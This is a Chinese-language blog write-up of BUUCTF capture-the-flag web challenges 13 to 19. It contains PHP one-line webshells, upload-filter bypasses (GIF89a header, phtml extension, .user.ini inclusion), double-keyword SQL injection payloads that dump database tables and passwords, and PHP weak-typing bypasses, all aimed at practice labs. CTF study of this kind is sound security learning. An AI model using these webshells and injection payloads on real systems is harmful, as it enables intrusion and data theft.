BUUCTF-page_1 总结(中:13-19)
---钦原.2021-5月末
总目录整理:
文件包含类:
1: HCTF-warmup-2018:php(审计文件包含)
4.[ACTF2020 新生赛]Include
5.[极客大挑战 2019]Secret File
SQL注入类:
2.Web-强网杯sql随便注:
3.[SUCTF 2019]EasySQL
6.[极客大挑战 2019]LoveSQL
15.[极客大挑战 2019]BabySQL
21.[极客大挑战 2019]HardSQL
25.[GYCTF2020]Blacklist
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
26.[GXYCTF2019]BabySQli
命令执行类:
7.[ACTF2020 新生赛]Exec
8.[GXYCTF2019]Ping Ping Ping
框架特性利用类:
9.[护网杯 2018]easy_tornado
php解析特性绕过利用类:
10.[RoarCTF 2019]Easy Calc
HTTP请求头等基础题类:
11.[极客大挑战 2019]Http
17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)
16.[ACTF2020 新生赛]BackupFile(php弱类型比较)
18.[BJDCTF2020]Easy MD5
24.[MRCTF2020]Ez_bypass(弱类型)
审计-反序列化类:
12.[极客大挑战 2019]PHP---> php-serialize()反序列化
20.[ZJCTF 2019]NiZhuanSiWei
31.[网鼎杯 2020 青龙组]AreUSerialz
27.[网鼎杯 2018]Fakebook (sql+反序列化+ssrf)
28.[网鼎杯 2020 青龙组]AreUSerialz
文件上传类:
13.[极客大挑战 2019]Upload
14.[ACTF2020 新生赛]Upload
19.[SUCTF 2019]CheckIn
23.[MRCTF2020]你传你马呢?
--------------------------------------------------------------------------------------------------------------------------------------------------------
13.[极客大挑战 2019]Upload
l 考点:文件上传及其绕过
l 思路:裸马测试逐渐分析检测规则并绕过
l 涉及知识点:见文
l 具体做法:
打开环境是一个上传图片的页面
1:先直接上传没有任何绕过的php马(后文统称:裸马):<?php eval($_POST['jazz'])?>
提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg
提示后缀违规:尝试常见绕过后缀,发现phtml可以。
改为phtml后:发现提示一句话中带 <? 都不行
故切换一句话木马:
GIF89a? <script language="php">eval($_REQUEST[‘jazz’])</script>
知识点:文件内容头校验(GIF89a)
文件头校验
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
上传抓包:
1:绕过文件头检验 :GIF89a?
2:绕过<?检验 :<script language="php">eval($_REQUEST[‘jazz’])</script>
3:绕过文件类型检验 :更改Content-Type: image/jpeg
根目录中即可见flag
14.[ACTF2020 新生赛]Upload
打开页面上传裸马发现 前端验证后缀:
选择绕过前端验证思路:
F12删除js中的对应检测代码(如:事件):
F12得:
删除onsubmit事件对应代码块
裸马被拦截:
尝试用不同后缀上传,发现phtml可以
故:
1. 删除js检测事件
2. 上传phtml得一句话
菜刀链接即可:
*又在index.php发现了文件后缀的具体过滤规则:*
15.[极客大挑战 2019]BabySQL
单引号闭合
过滤了 and、select、or、from、union 、 where
大小写无法绕过
内部双写可以
payload:
'uniunionon selselectect 1,2,3#
则:回显可能在2,3
'uniunionon selselectect 1,database(),3#
坑巨多
'uniunionon selselectect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables wwherehere table_schema=database()),3#
此处发现同时过滤where,且字符中出现的黑名单字符同样需要双写绕过!!
'uniunionon selselectect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns wwherehere table_name='b4bsql'),3#
'uniunionon selselectect 1,(selselectect group_concat(username) frfromom b4bsql),3 #
必须用group_concat输出,不然提示超过一行无法输出
'uniunionon selselectect 1,(selselectect group_concat(passwoorrd) frfromom b4bsql),3 #
16.[ACTF2020 新生赛]BackupFile
常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
于是用dirsearch扫描目录
看到bak的后缀(或者一个一个试一试),
/index.php.bak 下载打开
Get的key值为$str即可,而$str是intval函数处理后的字符串
考察点:1.intval() 2.弱类型
简单的弱类型绕过
php中两个等于号是弱等于
取str的123与key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)
Over即可看到flag 额外学习:弱类型:https://www.cnblogs.com/Mrsm1th/p/6745532.html
17.[极客大挑战 2019]BuyFlag
首先打开页面,查看源码:
无发现。
进入菜单。看到payflag,进去
审查本页源码发现:
根据到此知道:
1.
特定身份登陆,待测试
2.
post提交money和password。而password不能是数字,但必须等于404。猜测考查弱类型。
(建议hackbar+f12)
先解决身份:
可以通过burp抓包修改cookie中user的值0-->1 或f12在存储里面把user改为1后发现成功验证(推荐f12)
下面继续密码验证:
弱类型中:
’’== 0 == false
‘123’ == 123
‘abc’ == 0
‘0x01’ == 1
‘123a’ == 123
然后继续输入money,看好像是100000000
money值太长?这里应该是对字符进行了判断,当前PHP版本为PHP/5.3.3,对字符处理的函数在PHP漏洞中非常常见,使用数组进行传参发现即可跳过判断 password=404a&money[]=1
或科学计数法传参:password=404a&money=1e32
18.[BJDCTF2020]Easy MD5
首页就这
提交的是get-->password,后来抓包
Ffifdyop md5--> 'or'6?]?é!r,ùíb 可以闭合!(无语)
所以传参/levels91.php?a[]=1&b[]=2
新页面,但方式一样
Over
19.[SUCTF 2019]CheckIn
首先打开
又是上传
先上传一个裸马测试拦截规则:
提示非法后缀
那改成phtml等试试:也是非法后缀,看来后缀这里类似白名单处理了
单从后缀角度,尝试jpg(图片马):
上传发现拦截:
提示说明:不但检测了后缀,还检测了文件内容,发现含有 <? 检测。
尝试构造一个,js写入php的图片马:
提示使用了exif_imagetype函数
exif_imagetype() 读取一个图像的第一个字节并检查其签名(就是内容头检测)
老规矩:加上GIF89a
在上传一次:
发现上传成功且显示路径,但问题是,jpg文件,我们后缀被卡死jpg,改不了php,怎么用php解析?
所以考虑文件包含,除了平时多说的 .htaccess 绕过,还有一个可使用范围更广的 .user.ini
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
Ok,总结一下就是:
.user.ini 你改过以后,可以让你用目录里存在的正常php文件,包含任何格式的文件,去用php解析
那么很好办了,先上传ini文件,但你不要忽略也是需要文件内容头绕过:
上传
然后抓紧时间上传buuctf.jpg ( 内容头绕过+js写马+图片马jpg后缀 的buuctf.jpg)
http://6f4b7725-736d-4375-a688-c10f38c6bfd6.node3.buuoj.cn/uploads/c679f3575727dbf413989215c735dead/index.php
蚁剑连,根目录flag over 上传好文:https://blog.csdn.net/weixin_39190897/article/details/85334893
本篇为(中:13-19),陆续发后面的,新手入门文章,大佬勿喷,本人菜鸟---钦原
发表评论